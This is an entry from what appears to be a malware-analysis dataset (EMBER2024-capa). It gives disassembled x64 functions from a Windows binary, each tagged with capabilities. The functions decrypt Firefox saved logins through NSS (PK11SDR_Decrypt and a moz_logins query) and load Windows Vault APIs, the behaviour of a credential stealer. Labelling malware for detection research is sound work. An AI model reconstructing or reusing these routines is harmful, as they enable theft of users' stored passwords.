joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000f390
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
sub rsp, 0x20
mov rbx, rdx
mov rbp, rcx
lea rdx, [0x140111766]
mov rcx, rbx
xor r8d, r8d
call fcn.140004650
mov r9, qword [rbp]
mov edx, 1
lea rcx, [rsp + 0x50]
mov r8, rdx
call fcn.1400e44e4
cmp eax, 1
jne 0x14000f4a8
xor r12d, r12d
nop dword [rax]
movzx esi, byte [rsp + 0x50]
cmp sil, 0xd
je 0x14000f4bd
cmp sil, 0xa
je 0x14000f4bd
or rax, 0xffffffffffffffff
sub rax, qword [rbx + 0x18]
cmp rax, 1
ja 0x14000f40c
call fcn.1400fc67c
mov rdi, qword [rbx + 0x18]
inc rdi
cmp rdi, 0xfffffffffffffffe
jbe 0x14000f41e
call fcn.1400fc67c
mov rax, qword [rbx + 0x20]
cmp rax, rdi
jae 0x14000f44f
mov r8, qword [rbx + 0x18]
mov rdx, rdi
mov rcx, rbx
call fcn.140005540
test rdi, rdi
je 0x14000f489
cmp qword [rbx + 0x20], 0x10
mov rdx, qword [rbx + 0x18]
lea rax, [rbx + 8]
jb 0x14000f470
mov rcx, qword [rax]
jmp 0x14000f473
test rdi, rdi
jne 0x14000f43b
mov qword [rbx + 0x18], r12
cmp rax, 0x10
jb 0x14000f467
mov rax, qword [rbx + 8]
mov byte [rax], r12b
jmp 0x14000f489
lea rax, [rbx + 8]
mov byte [rax], r12b
jmp 0x14000f489
mov rcx, rax
mov byte [rcx + rdx], sil
cmp qword [rbx + 0x20], 0x10
mov qword [rbx + 0x18], rdi
jb 0x14000f485
mov rax, qword [rax]
mov byte [rax + rdi], r12b
mov r9, qword [rbp]
mov edx, 1
lea rcx, [rsp + 0x50]
mov r8, rdx
call fcn.1400e44e4
cmp eax, 1
je 0x14000f3e0
xor al, al
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r12
pop rdi
pop rsi
ret
mov al, 1
jmp 0x14000f4aa
Function at 0x1400117d0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push r13
sub rsp, 0x20
mov r13, rdx
lea rdx, [0x140111c64]
xor bpl, bpl
call fcn.1400e48a4
mov rbx, rax
test rax, rax
jne 0x1400117fc
add rsp, 0x20
pop r13
pop rbp
pop rbx
ret
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x40], rsi
lea r8d, [rdx + 2]
call fcn.1400e45b8
mov rcx, rbx
call fcn.1400efcfc
movsxd rsi, eax
cmp esi, 0x5000
jge 0x14001183a
mov rcx, rbx
call fcn.1400e46f4
mov rsi, qword [rsp + 0x40]
xor al, al
add rsp, 0x20
pop r13
pop rbp
pop rbx
ret
mov rcx, rsi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], r12
call fcn.1400e3ba4
mov rdi, rax
test rax, rax
jne 0x140011860
mov rcx, rbx
call fcn.1400e46f4
xor al, al
jmp 0x1400118a8
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.1400e45b8
mov r9, rbx
mov r8d, 1
mov rdx, rsi
mov rcx, rdi
call fcn.1400e44e4
test eax, eax
je 0x140011895
mov r8, r13
mov edx, esi
mov rcx, rdi
call fcn.1400114c0
movzx ebp, al
mov rcx, rbx
call fcn.1400e46f4
mov rcx, rdi
call fcn.1400e387c
mov al, bpl
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop r13
pop rbp
pop rbx
ret

Function at 0x1400118c0
Capabilities:
Check os version
Get common file path

Disassembly:
push rbx
sub rsp, 0x1e0
mov rax, qword [0x1401423c0]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov rbx, rcx
lea rcx, [rsp + 0xc1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0xc0], 0
call fcn.1400e1fc0
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x9c
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x140011a45
cmp dword [rsp + 0x24], 6
mov qword [rsp + 0x1f8], rdi
jb 0x1400119d1
xor r9d, r9d
lea rdx, [rsp + 0xc0]
xor ecx, ecx
lea r8d, [r9 + 0x1c]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0xc0]
repne scasb al, byte [rdi]
mov rax, qword [str.MicrosoftWindowsHistory]
lea rcx, [rsp + 0xc0]
mov qword [rdi - 1], rax
mov rax, qword [0x140111c70]
mov qword [rdi + 7], rax
mov rax, qword [0x140111c78]
mov qword [rdi + 0xf], rax
movzx eax, word [0x140111c80]
mov word [rdi + 0x17], ax
movzx eax, byte [0x140111c82]
mov byte [rdi + 0x19], al
lea rax, [rsp + 0xc0]
sub rbx, rax
nop dword [rax]
movzx eax, byte [rcx]
inc rcx
mov byte [rbx + rcx - 1], al
test al, al
jne 0x1400119a0
mov al, 1
mov rdi, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.1400e2890
add rsp, 0x1e0
pop rbx
ret
xor r9d, r9d
lea rdx, [rsp + 0xc0]
xor ecx, ecx
lea r8d, [r9 + 0x28]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0xc0]
repne scasb al, byte [rdi]
mov rax, qword [str.Local_SettingsHistory]
lea rcx, [rsp + 0xc0]
mov qword [rdi - 1], rax
mov rax, qword [0x140111c90]
mov qword [rdi + 7], rax
mov rax, qword [0x140111c98]
mov qword [rdi + 0xf], rax
lea rax, [rsp + 0xc0]
sub rbx, rax
nop dword [rax]
movzx eax, byte [rcx]
inc rcx
mov byte [rbx + rcx - 1], al
test al, al
jne 0x140011a30
mov al, 1
jmp 0x1400119b0
xor al, al
jmp 0x1400119b8
Function at 0x140011a50
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x4a0
mov rax, qword [0x1401423c0]
xor rax, rsp
mov qword [rsp + 0x490], rax
mov rbx, rcx
mov rsi, rdx
lea rcx, [rsp + 0x381]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x380], 0
call fcn.1400e1fc0
lea rcx, [rsp + 0x271]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x270], 0
call fcn.1400e1fc0
lea rcx, [rsp + 0x380]
mov rdx, rbx
sub rcx, rbx
nop word [rax + rax]
movzx eax, byte [rdx]
inc rdx
mov byte [rcx + rdx - 1], al
test al, al
jne 0x140011ad0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x380]
repne scasb al, byte [rdi]
mov eax, dword [str..]
lea rdx, [rsp + 0x20]
mov dword [rdi - 1], eax
movzx eax, byte [0x140111ca4]
lea rcx, [rsp + 0x380]
mov byte [rdi + 3], al
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x140011c7b
test byte [rsp + 0x20], 0x10
je 0x140011ba5
cmp byte [rsp + 0x4c], 0x2e
je 0x140011c5c
lea rdx, [rsp + 0x270]
mov rcx, rbx
sub rdx, rbx
movzx eax, byte [rcx]
inc rcx
mov byte [rdx + rcx - 1], al
test al, al
jne 0x140011b41
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x270]
repne scasb al, byte [rdi]
movzx eax, word [0x140111ca8]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [rsp + 0x270]
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x4c]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140011b81
lea rcx, [rsp + 0x270]
mov rdx, rsi
call fcn.140011a50
jmp 0x140011c5c
lea rdx, str..dat
lea rcx, [rsp + 0x4c]
call fcn.1400e34f0
test rax, rax
je 0x140011c5c
lea rcx, [rsp + 0x161]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x160], 0
call fcn.1400e1fc0
lea rcx, [rsp + 0x160]
sub rcx, rbx
mov rdx, rbx
nop word [rax + rax]
movzx eax, byte [rdx]
inc rdx
mov byte [rcx + rdx - 1], al
test al, al
jne 0x140011bf0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x160]
repne scasb al, byte [rdi]
movzx eax, word [0x140111ca8]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [rsp + 0x160]
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x4c]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140011c30
lea rax, [rsp + 0x160]
test rax, rax
je 0x140011c5c
lea rcx, [rsp + 0x160]
mov rdx, rsi
call fcn.1400117d0
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140011b21
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rsp + 0x490]
xor rcx, rsp
call fcn.1400e2890
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x1400138f0
Capabilities:
Create new key via cryptacquirecontext
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbx
push rbp
push rsi
sub rsp, 0xf0
mov rax, qword [0x1401423c0]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xor ebx, ebx
mov rsi, rcx
mov rbp, rdx
mov byte [rdx], 0
lea rcx, [rsp + 0x30]
lea r9d, [rbx + 1]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x14001396f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x14001396f
lea r9d, [rbx + 1]
lea rcx, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 8
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x140013ab3
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8004
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140013aa6
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x120], rdi
xor eax, eax
mov rdi, rsi
xor r9d, r9d
mov rdx, rsi
repne scasw ax, word [rdi]
not rcx
lea r8d, [rcx + rcx]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140013a9e
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x48]
mov edx, 2
mov dword [rsp + 0x40], socket
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x140013a9e
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x30]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea rax, [rsp + 0x60]
mov rdi, rbp
xor sil, sil
sub rdi, rax
nop
movzx eax, byte [rsp + rbx + 0x48]
lea rdx, str._s_2.2X
lea rcx, [rsp + 0x60]
mov r9d, eax
mov r8, rbp
add sil, al
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rsp + 0x60]
nop word [rax + rax]
movzx eax, byte [rcx]
inc rcx
mov byte [rdi + rcx - 1], al
test al, al
jne 0x140013a50
inc rbx
cmp rbx, 0x14
jl 0x140013a20
lea rdx, str._s_2.2X
lea rcx, [rsp + 0x60]
movzx r9d, sil
mov r8, rbp
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rsp + 0x60]
nop word [rax + rax]
movzx eax, byte [rdx]
inc rdx
mov byte [rdi + rdx - 1], al
test al, al
jne 0x140013a90
mov rdi, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x30]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1400e2890
add rsp, 0xf0
pop rsi
pop rbp
pop rbx
ret
Function at 0x140016d80
Capabilities:
Query or enumerate registry value

Disassembly:
push rdi
sub rsp, 0x1b0
mov rax, qword [0x1401423c0]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
mov rax, qword [str.SOFTWAREClientsStartMenuInternet_firefox.exe_shellopencommand]
mov rdi, rcx
lea rcx, [rsp + 0x150]
mov qword [rcx], rax
mov rax, qword [0x140111eb8]
xor edx, edx
mov qword [rcx + 8], rax
mov rax, qword [0x140111ec0]
mov r8d, 0x103
mov qword [rcx + 0x10], rax
mov rax, qword [0x140111ec8]
mov byte [rsp + 0x40], 0
mov qword [rcx + 0x18], rax
mov rax, qword [0x140111ed0]
mov qword [rcx + 0x20], rax
mov rax, qword [0x140111ed8]
mov qword [rcx + 0x28], rax
mov rax, qword [0x140111ee0]
mov qword [rcx + 0x30], rax
mov rax, qword [0x140111ee8]
mov qword [rcx + 0x38], rax
movzx eax, word [0x140111ef0]
mov word [rcx + 0x40], ax
lea rcx, [rsp + 0x41]
call fcn.1400e1fc0
lea rax, [rsp + 0x30]
lea rdx, [rsp + 0x150]
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x38], 0x104
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140016e8b
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
lea r9, [rsp + 0x3c]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x140016e8f
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x140016f0c
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rsp + 0x40]
mov edx, 0x5c
call fcn.1400e63f4
test rax, rax
je 0x140016e8b
mov byte [rax], 0
cmp byte [rsp + 0x40], 0x22
mov rdx, rdi
jne 0x140016ee0
lea rax, [rsp + 0x41]
lea rcx, [rsp + 0x41]
sub rdx, rax
nop word [rax + rax]
movzx eax, byte [rcx]
inc rcx
mov byte [rdx + rcx - 1], al
test al, al
jne 0x140016ed0
jmp 0x140016efe
lea rax, [rsp + 0x40]
lea rcx, [rsp + 0x40]
sub rdx, rax
nop dword [rax]
movzx eax, byte [rcx]
inc rcx
mov byte [rdx + rcx - 1], al
test al, al
jne 0x140016ef0
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
lea eax, [rcx - 1]
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.1400e2890
add rsp, 0x1b0
pop rdi
ret
Function at 0x1400173d0
Capabilities:
Link many functions at runtime
Set current directory

Disassembly:
push rdi
sub rsp, 0x20
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x14001755a
mov rax, qword [str.mozglue.dll]
mov qword [rsp + 0x30], rbx
test rax, rax
je 0x140017421
lea rbx, str.mozglue.dll
nop
mov rdx, rax
mov rcx, rdi
call fcn.140017260
test rax, rax
je 0x140017555
mov rax, qword [rbx + 8]
add rbx, 8
test rax, rax
jne 0x140017400
mov rcx, qword [0x14014d898]
lea rdx, str.NSS_Init
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14014d898]
lea rdx, str.NSS_Shutdown
mov qword [0x14014d4f8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14014d898]
lea rdx, str.PK11_GetInternalKeySlot
mov qword [0x14014d500], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14014d898]
lea rdx, str.PK11_FreeSlot
mov qword [0x14014d4d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14014d898]
lea rdx, str.PK11_Authenticate
mov qword [0x14014d4e8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14014d898]
lea rdx, str.PK11SDR_Decrypt
mov qword [0x14014d4f0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14014d898]
lea rdx, str.PK11_CheckUserPassword
mov qword [0x14014d4e0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x14014d4f8], 0
mov rcx, qword [0x14014d500]
mov qword [0x14014d508], rax
je 0x140017521
test rcx, rcx
je 0x140017521
cmp qword [0x14014d4d8], 0
je 0x140017521
cmp qword [0x14014d4f0], 0
je 0x140017521
cmp qword [0x14014d4e0], 0
je 0x140017521
cmp qword [0x14014d4e8], 0
je 0x140017521
test rax, rax
jne 0x140017555
cmp dword [0x14014d8a8], 0
je 0x140017531
test rcx, rcx
je 0x140017531
call rcx
mov rcx, qword [0x14014d898]
test rcx, rcx
je 0x140017543
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [0x14014d8a0]
test rcx, rcx
je 0x140017555
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rbx, qword [rsp + 0x30]
mov eax, 1
add rsp, 0x20
pop rdi
ret
Function at 0x1400176c0
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
xor ebx, ebx
mov ebp, r8d
mov rsi, rdx
mov r11d, ebx
mov rdi, rbx
lea r10, [rcx + 2]
nop word [rax + rax]
movzx r9d, byte [r10 - 1]
lea eax, [r9 - 0x41]
cmp al, 0x19
jbe 0x140017735
lea eax, [r9 - 0x61]
cmp al, 0x19
jbe 0x14001772f
lea eax, [r9 - 0x30]
cmp al, 9
jbe 0x140017729
cmp r9b, 0x2b
jne 0x140017718
mov r9b, 0x3e
jmp 0x140017739
cmp r9b, 0x2f
setne r9b
dec r9b
and r9b, 0x3f
jmp 0x140017739
add r9b, 4
jmp 0x140017739
sub r9b, 0x47
jmp 0x140017739
sub r9b, 0x41
movzx ecx, byte [r10]
lea eax, [rcx - 0x41]
cmp al, 0x19
jbe 0x140017772
lea eax, [rcx - 0x61]
cmp al, 0x19
jbe 0x14001776d
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x140017768
cmp cl, 0x2b
jne 0x14001775b
mov cl, 0x3e
jmp 0x140017775
cmp cl, 0x2f
setne cl
dec cl
and cl, 0x3f
jmp 0x140017775
add cl, 4
jmp 0x140017775
sub cl, 0x47
jmp 0x140017775
sub cl, 0x41
movzx r8d, byte [r10 + 1]
lea eax, [r8 - 0x41]
cmp al, 0x19
jbe 0x1400177ba
lea eax, [r8 - 0x61]
cmp al, 0x19
jbe 0x1400177b4
lea eax, [r8 - 0x30]
cmp al, 9
jbe 0x1400177ae
cmp r8b, 0x2b
jne 0x14001779d
mov r8b, 0x3e
jmp 0x1400177be
cmp r8b, 0x2f
setne r8b
dec r8b
and r8b, 0x3f
jmp 0x1400177be
add r8b, 4
jmp 0x1400177be
sub r8b, 0x47
jmp 0x1400177be
sub r8b, 0x41
movzx edx, byte [r10 - 2]
lea eax, [rdx - 0x41]
cmp al, 0x19
jbe 0x1400177f8
lea eax, [rdx - 0x61]
cmp al, 0x19
jbe 0x1400177f3
lea eax, [rdx - 0x30]
cmp al, 9
jbe 0x1400177ee
cmp dl, 0x2b
jne 0x1400177e1
mov dl, 0x3e
jmp 0x1400177fb
cmp dl, 0x2f
setne dl
dec dl
and dl, 0x3f
jmp 0x1400177fb
add dl, 4
jmp 0x1400177fb
sub dl, 0x47
jmp 0x1400177fb
sub dl, 0x41
shl dl, 2
movzx eax, r9b
shr al, 4
or al, dl
mov byte [rdi + rsi], al
cmp byte [r10], 0x3d
je 0x14001786c
shl r9b, 4
movzx eax, cl
shr al, 2
or al, r9b
mov byte [rdi + rsi + 1], al
cmp byte [r10 + 1], 0x3d
je 0x14001785e
shl cl, 6
add rdi, 3
add r11d, 3
or cl, r8b
add r10, 4
add ebx, 4
cmp r11d, 0x1fb
mov byte [rdi + rsi - 1], cl
jge 0x140017852
cmp ebx, ebp
jle 0x1400176f0
movsxd rcx, r11d
mov eax, r11d
mov byte [rcx + rsi], 0
jmp 0x140017878
movsxd rax, r11d
mov byte [rax + rsi + 2], 0
lea eax, [r11 + 2]
jmp 0x140017878
movsxd rax, r11d
mov byte [rax + rsi + 1], 0
lea eax, [r11 + 1]
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
Function at 0x140018300
Capabilities:
Check if file exists
Gather firefox profile information
Get file attributes

Disassembly:
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x480
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rsp + 0x4c0], rbx
mov rax, qword [0x1401423c0]
xor rax, rsp
mov qword [rsp + 0x470], rax
mov r14, rdx
mov rdi, rcx
xor esi, esi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x48], rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400184da
xor r9d, r9d
lea r8d, [rsi + 6]
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14009dbd0
test eax, eax
je 0x140018378
xor al, al
jmp 0x1400184e0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x34]
lea r8, [rsp + 0x38]
lea rdx, str.SELECT_formSubmitUrl__encryptedUsername__encryptedPassword_From_moz_logins
mov rcx, qword [rsp + 0x40]
call fcn.140087020
test eax, eax
jne 0x1400184d6
mov r12, qword [rsp + 0x38]
mov ebx, dword [rsp + 0x30]
mov r13d, dword [rsp + 0x34]
nop dword [rax]
cmp esi, r13d
jge 0x1400184d2
mov byte [rsp + 0x60], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rsp + 0x61]
call fcn.1400e1fc0
xor edx, edx
mov r8d, 0x30c
lea rcx, [rsp + 0x164]
call fcn.1400e1fc0
movsxd r11, ebx
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, qword [r12 + r11*8 + 8]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
je 0x1400184c8
or rcx, 0xffffffffffffffff
mov rdi, qword [r12 + r11*8 + 0x10]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
je 0x1400184c8
mov rcx, qword [r12 + r11*8]
lea rdx, [rsp + 0x60]
movzx eax, byte [rcx]
mov byte [rdx], al
inc rcx
inc rdx
test al, al
jne 0x140018433
movsxd rdi, ebx
lea r8, [rsp + 0x164]
lea rdx, [0x140111766]
mov rcx, qword [r12 + rdi*8 + 8]
call fcn.140017a20
test eax, eax
jne 0x140018467
add ebx, 3
jmp 0x1400184cb
lea r8, [rsp + 0x268]
lea rdx, [0x140111766]
mov rcx, qword [r12 + rdi*8 + 0x10]
call fcn.140017a20
test eax, eax
jne 0x140018489
add ebx, 3
jmp 0x1400184cb
add ebx, 3
lea rcx, [rsp + 0x36c]
mov eax, dword [str.FireFox_Local]
mov dword [rcx], eax
mov eax, dword [0x140112084]
mov dword [rcx + 4], eax
mov eax, dword [0x140112088]
mov dword [rcx + 8], eax
movzx eax, word [reloc.WS2_32.dll_WSACancelAsyncRequest]
mov word [rcx + 0xc], ax
lea rdx, [rsp + 0x60]
mov rcx, r14
call fcn.140014020
jmp 0x1400184cb
add ebx, 3
inc esi
jmp 0x1400183c0
mov al, 1
jmp 0x1400184e0
xor al, al
jmp 0x1400184e0
xor al, al
jmp 0x1400184e0
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.1400e2890
mov rbx, qword [rsp + 0x4c0]
add rsp, 0x480
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x1400188c0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x1401423c0]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rdi, rcx
lea rcx, [rsp + 0x24]
xor edx, edx
mov r8d, 0x12c
mov dword [rsp + 0x20], 0x130
call fcn.1400e1fc0
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140018913
xor eax, eax
jmp 0x14001895f
lea rdx, [rsp + 0x20]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x140018953
nop word [rax + rax]
lea rcx, [rsp + 0x4c]
mov rdx, rdi
call fcn.1400e34f0
test rax, rax
jne 0x140018980
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140018930
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400e2890
mov rbx, qword [rsp + 0x178]
add rsp, 0x160
pop rdi
ret
mov eax, dword [rsp + 0x28]
jmp 0x14001895f

Function at 0x140018f30
Capabilities:
Create thread
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x40
mov rsi, r8
mov rbx, rdx
xor edx, edx
mov r8d, 0x218
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor edx, edx
mov r8d, 0x218
mov rcx, rax
mov rdi, rax
call fcn.1400e1fc0
xor r12d, r12d
lea r8, [0x140018ed0]
mov r9, rdi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r12
mov qword [rdi], rbx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140018fb9
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x104
mov rcx, rsi
call fcn.1400e1fc0
mov r9d, dword [rdi + 8]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea r8, [rdi + 0xc]
shr r9d, 1
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r8, rdi
xor edx, edx
mov rcx, rbp
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r12
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
Function at 0x140020360
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x28
lea rcx, str.vaultcli.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x14014d548], rax
test rax, rax
je 0x140020485
lea rdx, str.VaultEnumerateItems
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14014d548]
lea rdx, str.VaultEnumerateVaults
mov qword [0x14014d540], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14014d548]
lea rdx, str.VaultFree
mov qword [0x14014d510], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14014d548]
lea rdx, str.VaultGetItem
mov qword [0x14014d538], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14014d548]
lea rdx, str.VaultGetItem
mov qword [0x14014d530], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14014d548]
lea rdx, str.VaultOpenVault
mov qword [0x14014d528], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14014d548]
lea rdx, str.VaultCloseVault
mov qword [0x14014d520], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x14014d510], 0
mov qword [0x14014d518], rax
je 0x140020485
cmp qword [0x14014d538], 0
je 0x140020485
cmp qword [0x14014d530], 0
je 0x140020485
cmp qword [0x14014d528], 0
je 0x140020485
cmp qword [0x14014d520], 0
je 0x140020485
test rax, rax
je 0x140020485
cmp qword [0x14014d540], 0
je 0x140020485
mov eax, 1
add rsp, 0x28
ret
xor eax, eax
add rsp, 0x28
ret